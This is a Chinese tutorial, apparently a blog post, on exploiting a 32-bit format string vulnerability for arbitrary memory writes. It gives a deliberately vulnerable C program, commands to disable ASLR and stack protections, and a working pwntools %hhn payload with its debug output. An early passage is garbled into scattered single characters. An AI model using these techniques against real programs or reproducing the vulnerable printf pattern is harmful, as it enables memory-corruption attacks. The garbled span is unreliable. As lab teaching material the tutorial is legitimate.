32位格式化字符串漏洞实现任意地址内存覆盖
原理
int i;
printf("AAAA%n",&i)
此时i=4
漏洞利用例子
比如想将2写入0xffffcd28。则构造payload"AA%15
n
A
"
+
p
32
(
0
x
f
f
f
f
c
d
28
)
,
开
头
A
A
即
可
将
=
地
址
0
x
f
f
f
f
c
d
28
内
容
赋
值
为
2
,
nA"+p32(0xffffcd28),开头AA即可将=地址0xffffcd28内容赋值为2,%15
nA"+p32(0xffffcd28),开头AA即可将=地址0xffffcd28内容赋值为2,n5个字节,为了实现4地址对齐,后面还要添加一个A。
如想将0x12345678写入到地址0xffffcd28。0x12345678转换为10进制会很大,采用上面的方法会覆盖掉重要的地址而出错。可以拆分成单字节覆盖。比如将0xffffcd28覆盖成0x12,将0xffffcd29覆盖成0x34,0xffffcd30覆盖成0x56,0xffffcd31覆盖成0x78.
具体步骤如下:
步骤一:使用“AAAABBBBCCCCDDDD”作为程序输入,使用gdb查看
printf的栈,AAAA,BBBB,CCCC,DDDD存储的地址和相对于格式化字符串地址的偏移。
x/20wx $esp
步骤二:构造payload,先写AAAA,BBBB,CCCC,DDDD的地址,占16字节,然后使用4个“%要填入的值-前面已出现的字符数c%要填入地址相对于格式化字符串地址的偏移$hhn"覆盖地址。其中hhn表示写入单字节。
实验目标:将arg4修改为BBCD。
//fmtdemo.c
#include<stdio.h>
void main()
{
char format[128];
int arg1 =1,arg2=0x88888882,arg3=-1;
char arg4[10]="ABCD";
scanf("%s",format);
printf(format,arg1,arg2,arg3,arg4);
printf("arg4的地址:%p\n",&arg4);
printf("arg4:%s\n",arg4);
printf("\n");
}
做实验首先要注意
1.关闭ASLR,linux下ASLR是自动开启的,不关闭的话栈地址每次都是随机的(可能要管理员权限)
echo 0 > /proc/sys/kernel/randomize_va_space
2.编译时关闭CANARY,PIE。
gcc -m32 -fno-stack-protector -no-pie fmtdemo.c -o fmt32
执行fmt32获取arg4的地址和格式化字符串的偏移。输入:AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
bigeast@ubuntu:~/Desktop/attach$ ./fmt32
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAA.0x1.0x88888882.0xffffffff.0xffffd1aa.0xffffd1b4.0xc2.0x1fff.0xf7fdf449.0xf63d4e2e.0x4241daf8.0x4443.(nil).0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025arg4的地址:0xffffd1aa
arg4:ABCD
获取到偏移为13,地址为xffffd1aa。
制作payload:B的ASCII码十进制为66,为了4字节对齐,前面多了个A,
4字节为一个参数,原本的偏移是13,多了12个字节,所以偏移变成了16.
from pwn import *
context.log_level = 'debug'
file = ELF("./fmt32")
io = process("./fmt32")
payload = "A%65c%16$hhn"+p32(0xffffd1aa)
print(payload)
io.sendline(payload)
io.interactive()
执行pwn
bigeast@ubuntu:~/Desktop/attach$ python fmt32.py
[*] '/home/bigeast/Desktop/attach/fmt32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './fmt32' argv=['./fmt32'] : pid 3308
A%65c%16$hhn\xaa��\xff
[DEBUG] Sent 0x11 bytes:
00000000 41 25 36 35 63 25 31 36 24 68 68 6e aa d1 ff ff │A%65│c%16│$hhn│····│
00000010 0a │·│
00000011
[*] Switching to interactive mode
[*] Process './fmt32' stopped with exit code 10 (pid 3308)
[DEBUG] Received 0x6c bytes:
00000000 41 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │A │ │ │ │
00000010 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
00000040 20 01 aa d1 ff ff 61 72 67 34 e7 9a 84 e5 9c b0 │ ···│··ar│g4··│····│
00000050 e5 9d 80 ef bc 9a 30 78 66 66 66 66 64 31 61 61 │····│··0x│ffff│d1aa│
00000060 0a 61 72 67 34 3a 42 42 43 44 0a 0a │·arg│4:BB│CD··│
0000006c
A \xaa��\xffarg4的地址:0xffffd1aa
arg4:BBCD
[*] G
成功修改
若想写入0x123456789,则要按文章一开始的办法,若按以下payloadpayload = “%305419896c%17$n”+p32(0xffffd1aa),会输出305419896个字符,输不完,程序会卡住。
剩下的疑问:如果是64位的程序想写入0x123456789要如何做呢?
版权归原作者 大东bigeast 所有, 如有侵权,请联系我们删除。